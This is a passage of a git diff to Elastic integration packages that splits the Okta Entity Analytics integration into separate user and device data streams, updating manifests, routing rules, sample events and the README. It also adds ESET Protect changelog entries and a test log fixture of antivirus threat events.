+ description: How often incremental updates should occur. Must be less than Sync Interval. Expected value is a duration string (15m, 1h, 1m30, etc), defaults to 15m. Supported units for this parameter are h/m/s.
+ default: 15m
+ multi: false
+ required: true
+ show_user: true
+ - name: id
+ type: text
+ title: Input ID
+ description: Identity Source. Which will be added to every event as a label.
+ multi: false
+ required: false
+ show_user: false
+ - name: http_client_timeout
+ type: text
+ title: HTTP Client Timeout
+ description: Duration before declaring that the HTTP client connection has timed out. Valid time units are ns, us, ms, s, m, h.
+ multi: false
+ required: true
+ show_user: false
+ default: 30s
+ - name: proxy_url
+ type: text
+ title: Proxy URL
+ multi: false
+ required: false
+ show_user: false
+ description: URL to proxy connections in the form of http[s]://:@:. Please ensure your username and password are in URL encoded format.
+ - name: ssl
+ type: yaml
+ title: SSL Configuration
+ description: SSL configuration options. See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/configuration-ssl.html#ssl-common-config) for details.
+ multi: false
+ required: false
+ show_user: false
+ default: |
+ #certificate_authorities:
+ # - |
+ # -----BEGIN CERTIFICATE-----
+ # MIIDCjCCAfKgAwIBAgITJ706Mu2wJlKckpIvkWxEHvEyijANBgkqhkiG9w0BAQsF
+ # ADAUMRIwEAYDVQQDDAlsb2NhbGhvc3QwIBcNMTkwNzIyMTkyOTA0WhgPMjExOTA2
+ # MjgxOTI5MDRaMBQxEjAQBgNVBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEB
+ # BQADggEPADCCAQoCggEBANce58Y/JykI58iyOXpxGfw0/gMvF0hUQAcUrSMxEO6n
+ # fZRA49b4OV4SwWmA3395uL2eB2NB8y8qdQ9muXUdPBWE4l9rMZ6gmfu90N5B5uEl
+ # 94NcfBfYOKi1fJQ9i7WKhTjlRkMCgBkWPkUokvBZFRt8RtF7zI77BSEorHGQCk9t
+ # /D7BS0GJyfVEhftbWcFEAG3VRcoMhF7kUzYwp+qESoriFRYLeDWv68ZOvG7eoWnP
+ # PsvZStEVEimjvK5NSESEQa9xWyJOmlOKXhkdymtcUd/nXnx6UTCFgnkgzSdTWV41
+ # CI6B6aJ9svCTI2QuoIq2HxX/ix7OvW1huVmcyHVxyUECAwEAAaNTMFEwHQYDVR0O
+ # BBYEFPwN1OceFGm9v6ux8G+DZ3TUDYxqMB8GA1UdIwQYMBaAFPwN1OceFGm9v6ux
+ # 8G+DZ3TUDYxqMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAG5D
+ # 874A4YI7YUwOVsVAdbWtgp1d0zKcPRR+r2OdSbTAV5/gcS3jgBJ3i1BN34JuDVFw
+ # 3DeJSYT3nxy2Y56lLnxDeF8CUTUtVQx3CuGkRg1ouGAHpO/6OqOhwLLorEmxi7tA
+ # H2O8mtT0poX5AnOAhzVy7QW0D/k4WaoLyckM5hUa6RtvgvLxOwA0U+VGurCDoctu
+ # 8F4QOgTAWyh8EZIwaKCliFRSynDpv3JTUwtfZkxo6K6nce1RhCWFAsMvDZL8Dgc0
+ # yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk
+ # sxSmbIUfc2SGJGCJD4I=
+ # -----END CERTIFICATE-----
+ - name: enable_request_tracer
+ type: bool
+ title: Enable request tracing
+ multi: false
+ required: false
+ show_user: false
+ description: The request tracer logs requests and responses to the agent's local file-system for debugging configurations. Enabling this request tracing compromises security and should only be used for debugging. See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-cel.html#_resource_tracer_filename) for details.
+ - name: tags
+ type: text
+ title: Tags
+ multi: true
+ required: true
+ show_user: false
+ default:
+ - forwarded
+ - entityanalytics_okta-entity
+ - name: preserve_original_event
+ required: true
+ show_user: true
+ title: Preserve original event
+ description: Preserves a raw copy of the original event, added to the field `event.original`.
+ type: bool
+ multi: false
+ default: false
+ - name: preserve_duplicate_custom_fields
+ required: true
+ show_user: false
+ title: Preserve duplicate custom fields
+ description: Preserve entityanalytics_okta.user fields that were copied to Elastic Common Schema (ECS) fields.
+ type: bool
+ multi: false
+ default: false
+ - name: processors
+ type: yaml
+ title: Processors
+ multi: false
+ required: false
+ show_user: false
+ description: >-
+ Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details.
+elasticsearch:
+ dynamic_dataset: true
+ dynamic_namespace: true
diff --git a/packages/entityanalytics_okta/data_stream/entity/routing_rules.yml b/packages/entityanalytics_okta/data_stream/entity/routing_rules.yml
new file mode 100644
index 00000000000..b1bcabc024b
--- /dev/null
+++ b/packages/entityanalytics_okta/data_stream/entity/routing_rules.yml
@@ -0,0 +1,12 @@
+- source_dataset: entityanalytics_okta.entity
+ rules:
+ - target_dataset: entityanalytics_okta.device
+ if: ctx.device?.id != null
+ namespace:
+ - "{{data_stream.namespace}}"
+ - default
+ - target_dataset: entityanalytics_okta.user
+ if: ctx.user?.id != null
+ namespace:
+ - "{{data_stream.namespace}}"
+ - default
diff --git a/packages/entityanalytics_okta/data_stream/entity/sample_event.json b/packages/entityanalytics_okta/data_stream/entity/sample_event.json
new file mode 100644
index 00000000000..b14f46f0763
--- /dev/null
+++ b/packages/entityanalytics_okta/data_stream/entity/sample_event.json
@@ -0,0 +1,43 @@
+{
+ "@timestamp": "2025-02-17T01:32:37.018Z",
+ "agent": {
+ "ephemeral_id": "5565e14c-c3d1-4168-9860-fb280f704fad",
+ "id": "f1b6848f-87f5-4d0e-8dae-49fb70d285f6",
+ "name": "elastic-agent-11615",
+ "type": "filebeat",
+ "version": "8.15.0"
+ },
+ "data_stream": {
+ "dataset": "entityanalytics_okta.entity",
+ "namespace": "71124",
+ "type": "logs"
+ },
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "elastic_agent": {
+ "id": "f1b6848f-87f5-4d0e-8dae-49fb70d285f6",
+ "snapshot": false,
+ "version": "8.15.0"
+ },
+ "event": {
+ "action": "started",
+ "agent_id_status": "verified",
+ "dataset": "entityanalytics_okta.entity",
+ "ingested": "2025-02-17T01:32:38Z",
+ "kind": "asset",
+ "start": "2025-02-17T01:32:37.018Z"
+ },
+ "input": {
+ "type": "entity-analytics"
+ },
+ "labels": {
+ "identity_source": "entity-analytics-entityanalytics_okta.entity-e600b1a8-23ab-4aa5-9694-d245bc06b6ed"
+ },
+ "tags": [
+ "preserve_original_event",
+ "preserve_duplicate_custom_fields",
+ "forwarded",
+ "entityanalytics_okta-entity"
+ ]
+}
diff --git a/packages/entityanalytics_okta/data_stream/user/manifest.yml b/packages/entityanalytics_okta/data_stream/user/manifest.yml
index 7cedaaf3cb9..18d0c6c9b80 100644
--- a/packages/entityanalytics_okta/data_stream/user/manifest.yml
+++ b/packages/entityanalytics_okta/data_stream/user/manifest.yml
@@ -1,145 +1,3 @@
title: Collect User Identities logs from Okta
+dataset: entityanalytics_okta.user
type: logs
-streams:
- - input: entity-analytics
- title: User Identities logs
- description: Collect User Identities logs from Okta.
- template_path: entity-analytics.yml.hbs
- vars:
- - name: okta_domain
- type: text
- title: Domain
- multi: false
- required: true
- show_user: true
- description: The Okta domain.
- - name: okta_token
- type: password
- title: Okta API Token
- multi: false
- required: true
- show_user: true
- description: The Okta API token, used for authentication.
- secret: true
- - name: dataset
- type: select
- title: Okta Dataset
- multi: false
- required: false
- show_user: true
- description: The dataset to collect from the API. Selecting all or devices requires that the devices API has been activated in Okta. Note that this option has no effect when the stack version is below 8.11.
- options:
- - value: all
- text: all
- - value: users
- text: users
- - value: devices
- text: devices
- default: users
- - name: sync_interval
- type: text
- title: Sync Interval
- description: How often full synchronizations should occur. Must be greater than Update Interval. Expected value is a duration string (15m, 1h, 1m30, etc), defaults to 24h. Supported units for this parameter are h/m/s.
- multi: false
- required: true
- show_user: true
- default: 24h
- - name: update_interval
- type: text
- title: Update Interval
- description: How often incremental updates should occur. Must be less than Sync Interval. Expected value is a duration string (15m, 1h, 1m30, etc), defaults to 15m. Supported units for this parameter are h/m/s.
- default: 15m
- multi: false
- required: true
- show_user: true
- - name: id
- type: text
- title: Input ID
- description: Identity Source. Which will be added to every event as a label.
- multi: false
- required: false
- show_user: false
- - name: http_client_timeout
- type: text
- title: HTTP Client Timeout
- description: Duration before declaring that the HTTP client connection has timed out. Valid time units are ns, us, ms, s, m, h.
- multi: false
- required: true
- show_user: false
- default: 30s
- - name: proxy_url
- type: text
- title: Proxy URL
- multi: false
- required: false
- show_user: false
- description: URL to proxy connections in the form of http[s]://:@:. Please ensure your username and password are in URL encoded format.
- - name: ssl
- type: yaml
- title: SSL Configuration
- description: SSL configuration options. See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/configuration-ssl.html#ssl-common-config) for details.
- multi: false
- required: false
- show_user: false
- default: |
- #certificate_authorities:
- # - |
- # -----BEGIN CERTIFICATE-----
- # MIIDCjCCAfKgAwIBAgITJ706Mu2wJlKckpIvkWxEHvEyijANBgkqhkiG9w0BAQsF
- # ADAUMRIwEAYDVQQDDAlsb2NhbGhvc3QwIBcNMTkwNzIyMTkyOTA0WhgPMjExOTA2
- # MjgxOTI5MDRaMBQxEjAQBgNVBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEB
- # BQADggEPADCCAQoCggEBANce58Y/JykI58iyOXpxGfw0/gMvF0hUQAcUrSMxEO6n
- # fZRA49b4OV4SwWmA3395uL2eB2NB8y8qdQ9muXUdPBWE4l9rMZ6gmfu90N5B5uEl
- # 94NcfBfYOKi1fJQ9i7WKhTjlRkMCgBkWPkUokvBZFRt8RtF7zI77BSEorHGQCk9t
- # /D7BS0GJyfVEhftbWcFEAG3VRcoMhF7kUzYwp+qESoriFRYLeDWv68ZOvG7eoWnP
- # PsvZStEVEimjvK5NSESEQa9xWyJOmlOKXhkdymtcUd/nXnx6UTCFgnkgzSdTWV41
- # CI6B6aJ9svCTI2QuoIq2HxX/ix7OvW1huVmcyHVxyUECAwEAAaNTMFEwHQYDVR0O
- # BBYEFPwN1OceFGm9v6ux8G+DZ3TUDYxqMB8GA1UdIwQYMBaAFPwN1OceFGm9v6ux
- # 8G+DZ3TUDYxqMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAG5D
- # 874A4YI7YUwOVsVAdbWtgp1d0zKcPRR+r2OdSbTAV5/gcS3jgBJ3i1BN34JuDVFw
- # 3DeJSYT3nxy2Y56lLnxDeF8CUTUtVQx3CuGkRg1ouGAHpO/6OqOhwLLorEmxi7tA
- # H2O8mtT0poX5AnOAhzVy7QW0D/k4WaoLyckM5hUa6RtvgvLxOwA0U+VGurCDoctu
- # 8F4QOgTAWyh8EZIwaKCliFRSynDpv3JTUwtfZkxo6K6nce1RhCWFAsMvDZL8Dgc0
- # yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk
- # sxSmbIUfc2SGJGCJD4I=
- # -----END CERTIFICATE-----
- - name: enable_request_tracer
- type: bool
- title: Enable request tracing
- multi: false
- required: false
- show_user: false
- description: The request tracer logs requests and responses to the agent's local file-system for debugging configurations. Enabling this request tracing compromises security and should only be used for debugging. See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-cel.html#_resource_tracer_filename) for details.
- - name: tags
- type: text
- title: Tags
- multi: true
- required: true
- show_user: false
- default:
- - forwarded
- - entityanalytics_okta-user
- - name: preserve_original_event
- required: true
- show_user: true
- title: Preserve original event
- description: Preserves a raw copy of the original event, added to the field `event.original`.
- type: bool
- multi: false
- default: false
- - name: preserve_duplicate_custom_fields
- required: true
- show_user: false
- title: Preserve duplicate custom fields
- description: Preserve entityanalytics_okta.user fields that were copied to Elastic Common Schema (ECS) fields.
- type: bool
- multi: false
- default: false
- - name: processors
- type: yaml
- title: Processors
- multi: false
- required: false
- show_user: false
- description: >-
- Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details.
diff --git a/packages/entityanalytics_okta/data_stream/user/sample_event.json b/packages/entityanalytics_okta/data_stream/user/sample_event.json
deleted file mode 100644
index dca27a51ef9..00000000000
--- a/packages/entityanalytics_okta/data_stream/user/sample_event.json
+++ /dev/null
@@ -1,64 +0,0 @@
-{
- "@timestamp": "2024-12-31T12:11:21.622Z",
- "agent": {
- "ephemeral_id": "c29e9e17-ba86-4877-8c1f-477c825c77ab",
- "id": "32153630-b5af-4d10-8d44-6168dfbff6b9",
- "name": "elastic-agent-21762",
- "type": "filebeat",
- "version": "8.15.0"
- },
- "asset": {
- "category": "entity",
- "type": "okta_user"
- },
- "data_stream": {
- "dataset": "entityanalytics_okta.user",
- "namespace": "89318",
- "type": "logs"
- },
- "ecs": {
- "version": "8.11.0"
- },
- "elastic_agent": {
- "id": "32153630-b5af-4d10-8d44-6168dfbff6b9",
- "snapshot": false,
- "version": "8.15.0"
- },
- "entityanalytics_okta": {
- "user": {
- "credentials": {
- "recovery_question": {
- "is_set": false
- }
- }
- }
- },
- "event": {
- "action": "started",
- "agent_id_status": "verified",
- "category": [
- "iam"
- ],
- "dataset": "entityanalytics_okta.user",
- "ingested": "2024-12-31T12:11:23Z",
- "kind": "asset",
- "original": "{\"input\":{\"type\":\"entity-analytics\"},\"agent\":{\"name\":\"elastic-agent-21762\",\"id\":\"32153630-b5af-4d10-8d44-6168dfbff6b9\",\"type\":\"filebeat\",\"ephemeral_id\":\"c29e9e17-ba86-4877-8c1f-477c825c77ab\",\"version\":\"8.15.0\"},\"@timestamp\":\"2024-12-31T12:11:21.622Z\",\"ecs\":{\"version\":\"8.11.0\"},\"data_stream\":{\"namespace\":\"89318\",\"type\":\"logs\",\"dataset\":\"entityanalytics_okta.user\"},\"elastic_agent\":{\"id\":\"32153630-b5af-4d10-8d44-6168dfbff6b9\",\"version\":\"8.15.0\",\"snapshot\":false},\"event\":{\"start\":\"2024-12-31T12:11:21.622Z\",\"action\":\"started\",\"dataset\":\"entityanalytics_okta.user\"},\"tags\":[\"preserve_original_event\",\"preserve_duplicate_custom_fields\",\"forwarded\",\"entityanalytics_okta-user\"],\"labels\":{\"identity_source\":\"entity-analytics-entityanalytics_okta.user-2b35adb3-ef6b-4c4c-b0ae-6d53979a7e1e\"},\"_version_type\":\"internal\",\"_index\":\"logs-entityanalytics_okta.user-89318\",\"_id\":null,\"_version\":-4}",
- "start": "2024-12-31T12:11:21.622Z",
- "type": [
- "user",
- "info"
- ]
- },
- "input": {
- "type": "entity-analytics"
- },
- "labels": {
- "identity_source": "entity-analytics-entityanalytics_okta.user-2b35adb3-ef6b-4c4c-b0ae-6d53979a7e1e"
- },
- "tags": [
- "preserve_original_event",
- "preserve_duplicate_custom_fields",
- "forwarded",
- "entityanalytics_okta-user"
- ]
-}
\ No newline at end of file
diff --git a/packages/entityanalytics_okta/docs/README.md b/packages/entityanalytics_okta/docs/README.md
index b29a3b4195d..f995d12b2ac 100644
--- a/packages/entityanalytics_okta/docs/README.md
+++ b/packages/entityanalytics_okta/docs/README.md
@@ -1,16 +1,23 @@
# Okta Entity Analytics
-This [Okta Entity Analytics](https://www.okta.com/) integration allows users to securely stream User Entities data to Elastic Security via the REST API. When integrated with Elastic Security, this valuable data can be leveraged within Elastic for risk-scoring scenarios (e.g., context enrichments) and detecting advanced analytics (UBA) use cases.
+This [Okta Entity Analytics](https://www.okta.com/) integration allows users to securely stream User and Device Entity data to Elastic Security via the REST API. When integrated with Elastic Security, this valuable data can be leveraged within Elastic for risk-scoring scenarios (e.g., context enrichments) and detecting advanced analytics (UBA) use cases.
## Compatibility
This module has been tested against the Core Okta API version **v1**.
+## Upgrading to v2 from v1 of the integration
+
+In v2 of the integration the user and device data was split into separate data streams. The data ingested into your index will be the same but you may need to update device searches if you were using them.
+
+**NOTE**: When you upgrade from v1 you will need to reconfigure the integration and enable it due to internal changes in the package. See [Resolve conflicts](https://www.elastic.co/guide/en/fleet/current/upgrade-integration.html#resolve-conflicts) in the Fleet documentation for details.
+
## Data streams
-The Okta Entity Analytics integration collects one type of data: user.
+The Okta Entity Analytics integration collects two types of data: user and device.
**User** is used to retrieve all user logs available in an organization. See more details in the API documentation [here](https://developer.okta.com/docs/reference/api/users/#list-users).
+**Device** is used to retrieve all device logs available in an organization. See more details in the API documentation [here](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Device/#tag/Device/operation/listDevices).
## Requirements
@@ -56,9 +63,9 @@ The minimum **kibana.version** required is **8.9.0**.
## Usage
-The Okta provider periodically contacts the Okta API, retrieving updates for users, updates its internal cache of user metadata, and ships updated user metadata to Elasticsearch.
+The Okta provider periodically contacts the Okta API, retrieving updates for users and devices, updates its internal cache of user/device metadata, and ships the updated metadata to Elasticsearch.
-Fetching and shipping updates occurs in one of two processes: **full synchronizations** and **incremental updates**. Full synchronizations will send the entire list of users in state, along with write markers to indicate the start and end of the synchronization event. Incremental updates will only send data for changed users during that event. Changes on a user can come in many forms, whether it be a change to the user’s metadata, or a user was added or deleted. By default, full synchronizations occur every 24 hours and incremental updates occur every 15 minutes. These intervals may be customized to suit your use case.
+Fetching and shipping updates occurs in one of two processes: **full synchronizations** and **incremental updates**. Full synchronizations will send the entire list of users and devices in state, along with write markers to indicate the start and end of the synchronization event. Incremental updates will only send data for changed users/devices during that event. Changes can come in many forms, whether it be a change to the user’s or device’s metadata, or a user or device was added or deleted. By default, full synchronizations occur every 24 hours and incremental updates occur every 15 minutes. These intervals may be customized to suit your use case.
## Sample Events
@@ -110,6 +117,106 @@ A user document:
}
```
+A device document:
+
+```json
+{
+ "@timestamp": "2023-07-04T09:57:19.786056-05:00",
+ "event": {
+ "action": "device-discovered",
+ },
+ "okta": {
+ "created": "2019-10-02T18:03:07Z",
+ "id": "deviceid",
+ "lastUpdated": "2019-10-02T18:03:07Z",
+ "profile": {
+ "diskEncryptionType": "ALL_INTERNAL_VOLUMES",
+ "displayName": "Example Device name 1",
+ "platform": "WINDOWS",
+ "registered": true,
+ "secureHardwarePresent": false,
+ "serialNumber": "XXDDRFCFRGF3M8MD6D",
+ "sid": "S-1-11-111"
+ },
+ "resourceAlternateID": "",
+ "resourceDisplayName": {
+ "sensitive": false,
+ "value": "Example Device name 1"
+ },
+ "resourceID": "deviceid",
+ "resourceType": "UDDevice",
+ "status": "ACTIVE",
+ "_links": {
+ "activate": {
+ "hints": {
+ "allow": [
+ "POST"
+ ]
+ },
+ "href": "https://localhost/api/v1/devices/deviceid/lifecycle/activate"
+ },
+ "self": {
+ "hints": {
+ "allow": [
+ "GET",
+ "PATCH",
+ "PUT"
+ ]
+ },
+ "href": "https://localhost/api/v1/devices/deviceid"
+ },
+ "users": {
+ "hints": {
+ "allow": [
+ "GET"
+ ]
+ },
+ "href": "https://localhost/api/v1/devices/deviceid/users"
+ }
+ },
+ "users": [
+ {
+ "id": "userid",
+ "status": "RECOVERY",
+ "created": "2023-05-14T13:37:20Z",
+ "activated": "0001-01-01T00:00:00Z",
+ "statusChanged": "2023-05-15T01:50:30Z",
+ "lastLogin": "2023-05-15T01:59:20Z",
+ "lastUpdated": "2023-05-15T01:50:32Z",
+ "passwordChanged": "2023-05-15T01:50:32Z",
+ "type": {
+ "id": "typeid"
+ },
+ "profile": {
+ "login": "name.surname@example.com",
+ "email": "name.surname@example.com",
+ "firstName": "name",
+ "lastName": "surname"
+ },
+ "credentials": {
+ "password": {},
+ "provider": {
+ "type": "OKTA",
+ "name": "OKTA"
+ }
+ },
+ "_links": {
+ "self": {
+ "href": "https://localhost/api/v1/users/userid"
+ }
+ }
+ }
+ ]
+ },
+ "device": {
+ "id": "deviceid",
+ },
+ "labels": {
+ "identity_source": "okta-1"
+ }
+}
+```
+
Full synchronizations will be bounded on either side by "write marker" documents.
```json
@@ -127,80 +234,84 @@ Full synchronizations will be bounded on either side by "write marker" documents
## Logs reference
-### User
+### Device
-This is the `User` dataset.
+This is the `Device` dataset.
+
+**Exported fields**
+
+| Field | Description | Type |
+|---|---|---|
+| @timestamp | Event timestamp. | date |
+| asset.category | | keyword |
+| asset.costCenter | | keyword |
+| asset.create_date | | date |
+| asset.id | | keyword |
+| asset.last_seen | | date |
+| asset.last_status_change_date | | date |
+| asset.last_updated | | date |
+| asset.name | | keyword |
+| asset.status | | keyword |
+| asset.type | | keyword |
+| asset.vendor | | keyword |
+| data_stream.dataset | Data stream dataset. | constant_keyword |
+| data_stream.namespace | Data stream namespace. | constant_keyword |
+| data_stream.type | Data stream type. | constant_keyword |
+| device.serial_number | The unique serial number serves as a distinct identifier for each device, aiding in inventory management and device authentication. | keyword |
+| entityanalytics_okta.device._embedded | embedded resources related to the device. | flattened |
+| entityanalytics_okta.device._links | link relations for the device's current status. | flattened |
+| entityanalytics_okta.device.activated | timestamp when transition to ACTIVE status completed. | date |
+| entityanalytics_okta.device.created | timestamp when device was created. | date |
+| entityanalytics_okta.device.id | unique key for device. | keyword |
+| entityanalytics_okta.device.last_login | timestamp of last login. | date |
+| entityanalytics_okta.device.last_updated | timestamp when device was last updated. | date |
+| entityanalytics_okta.device.password_changed | timestamp when password last changed. | date |
+| entityanalytics_okta.device.profile.\* | | keyword |
+| entityanalytics_okta.device.profile.registered | Whether the device is registered. | boolean |
+| entityanalytics_okta.device.profile.secure_hardware_present | Whether the device is using secure hardware. | boolean |
+| entityanalytics_okta.device.status | current status of device. | keyword |
+| entityanalytics_okta.device.status_changed | timestamp when status last changed. | date |
+| entityanalytics_okta.device.transitioning_to_status | target status of an in-progress asynchronous status transition. | keyword |
+| entityanalytics_okta.device.type | device type that determines the schema for the device's profile. | flattened |
+| entityanalytics_okta.device.users | Users associated with the device. | flattened |
+| event.dataset | Event dataset. | constant_keyword |
+| event.module | Event module. | constant_keyword |
+| input.type | Type of filebeat input. | keyword |
+| labels.identity_source | | keyword |
+| log.offset | Log offset. | long |
+| user.account.activated_date | | date |
+| user.account.change_date | | date |
+| user.account.create_date | | date |
+| user.account.password_change_date | | date |
+| user.account.status.deprovisioned | | boolean |
+| user.account.status.locked_out | | boolean |
+| user.account.status.password_expired | | boolean |
+| user.account.status.recovery | | boolean |
+| user.account.status.suspended | | boolean |
+| user.geo.city_name | | keyword |
+| user.geo.country_iso_code | | keyword |
+| user.geo.name | | keyword |
+| user.geo.postal_code | | keyword |
+| user.geo.region_name | | keyword |
+| user.geo.timezone | | keyword |
+| user.organization.name | | keyword |
+| user.profile.department | | keyword |
+| user.profile.first_name | | keyword |
+| user.profile.id | | keyword |
+| user.profile.job_title | | keyword |
+| user.profile.last_name | | keyword |
+| user.profile.manager | | keyword |
+| user.profile.mobile_phone | | keyword |
+| user.profile.other_identities | | keyword |
+| user.profile.primaryPhone | | keyword |
+| user.profile.secondEmail | | keyword |
+| user.profile.status | | keyword |
+| user.profile.type | | keyword |
-#### Example
-An example event for `user` looks as following:
+### User
-```json
-{
- "@timestamp": "2024-12-31T12:11:21.622Z",
- "agent": {
- "ephemeral_id": "c29e9e17-ba86-4877-8c1f-477c825c77ab",
- "id": "32153630-b5af-4d10-8d44-6168dfbff6b9",
- "name": "elastic-agent-21762",
- "type": "filebeat",
- "version": "8.15.0"
- },
- "asset": {
- "category": "entity",
- "type": "okta_user"
- },
- "data_stream": {
- "dataset": "entityanalytics_okta.user",
- "namespace": "89318",
- "type": "logs"
- },
- "ecs": {
- "version": "8.11.0"
- },
- "elastic_agent": {
- "id": "32153630-b5af-4d10-8d44-6168dfbff6b9",
- "snapshot": false,
- "version": "8.15.0"
- },
- "entityanalytics_okta": {
- "user": {
- "credentials": {
- "recovery_question": {
- "is_set": false
- }
- }
- }
- },
- "event": {
- "action": "started",
- "agent_id_status": "verified",
- "category": [
- "iam"
- ],
- "dataset": "entityanalytics_okta.user",
- "ingested": "2024-12-31T12:11:23Z",
- "kind": "asset",
- "original": "{\"input\":{\"type\":\"entity-analytics\"},\"agent\":{\"name\":\"elastic-agent-21762\",\"id\":\"32153630-b5af-4d10-8d44-6168dfbff6b9\",\"type\":\"filebeat\",\"ephemeral_id\":\"c29e9e17-ba86-4877-8c1f-477c825c77ab\",\"version\":\"8.15.0\"},\"@timestamp\":\"2024-12-31T12:11:21.622Z\",\"ecs\":{\"version\":\"8.11.0\"},\"data_stream\":{\"namespace\":\"89318\",\"type\":\"logs\",\"dataset\":\"entityanalytics_okta.user\"},\"elastic_agent\":{\"id\":\"32153630-b5af-4d10-8d44-6168dfbff6b9\",\"version\":\"8.15.0\",\"snapshot\":false},\"event\":{\"start\":\"2024-12-31T12:11:21.622Z\",\"action\":\"started\",\"dataset\":\"entityanalytics_okta.user\"},\"tags\":[\"preserve_original_event\",\"preserve_duplicate_custom_fields\",\"forwarded\",\"entityanalytics_okta-user\"],\"labels\":{\"identity_source\":\"entity-analytics-entityanalytics_okta.user-2b35adb3-ef6b-4c4c-b0ae-6d53979a7e1e\"},\"_version_type\":\"internal\",\"_index\":\"logs-entityanalytics_okta.user-89318\",\"_id\":null,\"_version\":-4}",
- "start": "2024-12-31T12:11:21.622Z",
- "type": [
- "user",
- "info"
- ]
- },
- "input": {
- "type": "entity-analytics"
- },
- "labels": {
- "identity_source": "entity-analytics-entityanalytics_okta.user-2b35adb3-ef6b-4c4c-b0ae-6d53979a7e1e"
- },
- "tags": [
- "preserve_original_event",
- "preserve_duplicate_custom_fields",
- "forwarded",
- "entityanalytics_okta-user"
- ]
-}
-```
+This is the `User` dataset.
**Exported fields**
diff --git a/packages/entityanalytics_okta/manifest.yml b/packages/entityanalytics_okta/manifest.yml
index 8c1e2d8ddf8..168accfbe93 100644
--- a/packages/entityanalytics_okta/manifest.yml
+++ b/packages/entityanalytics_okta/manifest.yml
@@ -1,14 +1,14 @@
format_version: "3.0.2"
name: entityanalytics_okta
title: Okta Entity Analytics
-version: "1.8.1"
-description: "Collect User Identities from Okta with Elastic Agent."
+version: "2.1.0"
+description: "Collect Identities from Okta with Elastic Agent."
type: integration
categories:
- security
conditions:
kibana:
- version: "^8.15.0"
+ version: "^8.15.0 || ^9.0.0"
elastic:
subscription: "basic"
screenshots:
@@ -27,12 +27,12 @@ icons:
type: image/svg+xml
dark_mode: true
policy_templates:
- - name: user
- title: User Identities
- description: Collect user identities.
+ - name: entity
+ title: Identities
+ description: Collect identities.
inputs:
- type: entity-analytics
- title: Collect user identities
+ title: Collect identities
description: Collecting identities from Okta.
owner:
github: elastic/security-service-integrations
diff --git a/packages/eset_protect/changelog.yml b/packages/eset_protect/changelog.yml
index 5afbfb2dd81..89a68de150a 100644
--- a/packages/eset_protect/changelog.yml
+++ b/packages/eset_protect/changelog.yml
@@ -1,4 +1,14 @@
# newer versions go on top
+- version: "1.6.1"
+ changes:
+ - description: Add missing field support.
+ type: bugfix
+ link: https://github.com/elastic/integrations/pull/12934
+- version: "1.6.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.5.1"
changes:
- description: Updated SSL description to be uniform and to include links to documentation.
diff --git a/packages/eset_protect/data_stream/event/_dev/test/pipeline/test-event.log b/packages/eset_protect/data_stream/event/_dev/test/pipeline/test-event.log
index 68ed05019f7..3a748d5bc28 100644
--- a/packages/eset_protect/data_stream/event/_dev/test/pipeline/test-event.log
+++ b/packages/eset_protect/data_stream/event/_dev/test/pipeline/test-event.log
@@ -22,3 +22,4 @@
{"event_type":"FirewallAggregated_Event","ipv4":"1.128.0.5","hostname":"machine4","source_uuid":"c539dbdf-2063-477b-81d7-8081a6f7a080","occured":"12-Mar-2024 11:00:26","severity":"Fatal","event":"Web threat","source_address":"192.168.30.32","source_address_type":"IPv4","source_port":37966,"target_address":"1.128.0.5","target_address_type":"IPv4","target_port":49677,"protocol":"TCP","account":"NT AUTHORITY\\SYSTEM","process_name":"C:\\Windows\\System32\\lsass.exe","inbound":true,"threat_name":"RPC/Exploit.CVE-2020-1472","aggregate_count":1}
{"event_type":"Threat_Event","ipv4":"192.168.30.31","hostname":"machine5","source_uuid":"f193d96b-cbd8-4402-94fc-6993efc30b11","occured":"11-Mar-2024 05:56:58","severity":"Warning","threat_type":"Trojan","threat_name":"LNK/Agent.BZ","scanner_id":"Real-time file system protection","scan_id":"virlog.dat","engine_version":"28873 (20240310)","object_type":"File","object_uri":"file:///E:/Removable Drive (1GB).lnk","action_taken":"Cleaned by deleting","threat_handled":true,"need_restart":false,"username":"machine5\\Administrator","processname":"C:\\Windows\\explorer.exe","circumstances":"Event occurred during an attempt to access the file.","firstseen":"28-Jul-2021 07:20:55","hash":"1A45EBA0F9EF909E6F3C87B0D5CEDAD27BDB6CF2"}
{"event_type":"Threat_Event","ipv4":"192.168.112.128","ipv6":"","hostname":"kate-ebademo","source_uuid":"16b429cb-c064-4a31-98ba-62fff54f0c96","os_name":"Microsoft Windows 11 Pro","occured":"27-Mar-2024 09:54:20","group_name":"All","group_description":"","severity":"Warning","threat_type":"Trojan","threat_name":"VBS\/TrojanDownloader.Agent.YUI","threat_flags":"","scanner_id":"Script scanner","scan_id":"virlog.dat","engine_version":"28962 (20240327)","object_type":"File","object_uri":"script","action_taken":"Blocked","action_error":"","threat_handled":"true","need_restart":"false","username":"KATE-EBADEMO\\Kate","processname":"PowerShell_C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe_10.0.22621.1","circumstances":"","firstseen":"","hash":"22B9B35A804A7A3739CBD007E00959075AECF0FC"}
